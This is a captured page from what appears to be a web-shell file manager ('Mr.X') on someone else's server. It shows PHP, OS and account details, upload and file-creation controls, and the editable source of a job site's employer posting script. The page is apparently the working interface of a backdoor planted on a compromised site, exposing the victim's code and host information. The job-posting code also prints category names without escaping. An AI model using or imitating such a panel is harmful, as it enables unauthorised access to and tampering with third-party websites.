🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:post-job.php
<?php require_once '../includes/db.php'; require_once '../includes/auth.php'; checkEmployer(); $categories = fetchAll("SELECT * FROM categories"); if (isset($_POST['post_job'])) { $emp_id = $_SESSION['employer_id']; // Check if employer is approved $employer = fetchOne("SELECT status FROM employers WHERE id = ?", [$emp_id]); if ($employer['status'] !== 'approved') { $_SESSION['error'] = "Your profile must be approved by an admin before you can post jobs."; header("Location: dashboard.php"); exit; } // Count today's jobs for this employer $today_count = fetchOne("SELECT COUNT(*) as count FROM jobs WHERE employer_id = ? AND DATE(created_at) = CURDATE()", [$emp_id])['count']; if ($today_count >= 5) { $_SESSION['error'] = "You have reached your daily limit of 5 job postings."; header("Location: manage-jobs.php"); exit; } $title = $_POST['title']; $cat_id = $_POST['category']; $location = $_POST['location']; $type = $_POST['job_type']; $salary = $_POST['salary']; $experience = $_POST['experience']; $closing_date = $_POST['closing_date']; $description = $_POST['description']; // Handle Job Image Upload $job_image = ""; if (!empty($_FILES['job_image']['name'])) { $uploaded = uploadImage($_FILES['job_image'], 'uploads/jobs/'); if ($uploaded) { $job_image = $uploaded; } } $sql = "INSERT INTO jobs (employer_id, category_id, title, description, job_image, location, job_type, salary_range, experience_required, closing_date, status) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'active')"; if (query($sql, [$emp_id, $cat_id, $title, $description, $job_image, $location, $type, $salary, $experience, $closing_date])) { $_SESSION['success'] = "Job posted successfully and is now live!"; header("Location: manage-jobs.php"); exit; } } $page_title = "Post a New Job"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo $page_title; ?> | jobly.lk</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.0/font/bootstrap-icons.css"> <link rel="stylesheet" href="../assets/css/style.css"> </head> <body class="bg-light"> <nav class="navbar navbar-expand-lg dashboard-nav sticky-top shadow-sm"> <div class="container-fluid px-4"> <a class="navbar-brand fw-bold" href="../index.php">jobly.lk Employer</a> <div class="ms-auto d-flex align-items-center"> <a href="dashboard.php" class="btn btn-sm btn-outline-light me-2">Back to Dashboard</a> <a href="../logout.php" class="btn btn-sm btn-light">Logout</a> </div> </div> </nav> <div class="container py-5"> <div class="row justify-content-center"> <div class="col-lg-8"> <div class="card border-0 shadow-sm"> <div class="card-body p-4 p-md-5"> <h3 class="fw-bold mb-4">Post a New Job Opening</h3> <form action="" method="POST" enctype="multipart/form-data"> <div class="row g-3"> <div class="col-md-12"> <label class="form-label fw-bold">Job Title *</label> <input type="text" name="title" class="form-control" placeholder="e.g. Senior PHP Developer" required> </div> <div class="col-md-12"> <label class="form-label fw-bold">Job Image / Poster (Optional)</label> <input type="file" name="job_image" class="form-control" accept="image/*"> <small class="text-muted">Upload an advertisement poster or image for this job.</small> </div> <div class="col-md-6"> <label class="form-label fw-bold">Category *</label> <select name="category" class="form-select" required> <option value="">Select Category</option> <?php foreach($categories as $cat): ?> <option value="<?php echo $cat['id']; ?>"><?php echo $cat['name']; ?></option> <?php endforeach; ?> </select> </div> <div class="col-md-6"> <label class="form-label fw-bold">Job Type *</label> <select name="job_type" class="form-select" required> <option value="Full-time">Full-time</option> <option value="Part-time">Part-time</option> <option value="Contract">Contract</option> <option value="Freelance">Freelance</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-bold">Location *</label> <input type="text" name="location" class="form-control" placeholder="e.g. Colombo 03" required> </div> <div class="col-md-6"> <label class="form-label fw-bold">Closing Date *</label> <input type="date" name="closing_date" class="form-control" required> </div> <div class="col-md-6"> <label class="form-label fw-bold">Salary Range (Optional)</label> <input type="text" name="salary" class="form-control" placeholder="e.g. Rs. 100,000 - 150,000"> </div> <div class="col-md-6"> <label class="form-label fw-bold">Experience Required</label> <input type="text" name="experience" class="form-control" placeholder="e.g. 2-3 Years"> </div> <div class="col-md-12"> <label class="form-label fw-bold">Job Description *</label> <textarea name="description" id="description" class="form-control" rows="12" placeholder="Describe the job responsibilities, requirements, and benefits..." required></textarea> </div> <div class="col-md-12 mt-4"> <button type="submit" name="post_job" class="btn btn-primary px-5 py-2 fw-bold">Post Job</button> <a href="dashboard.php" class="btn btn-link text-decoration-none ms-2">Cancel</a> </div> </div> </form> </div> </div> </div> </div> </div> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html>
Save Changes
Cancel
Create New File
Create New Folder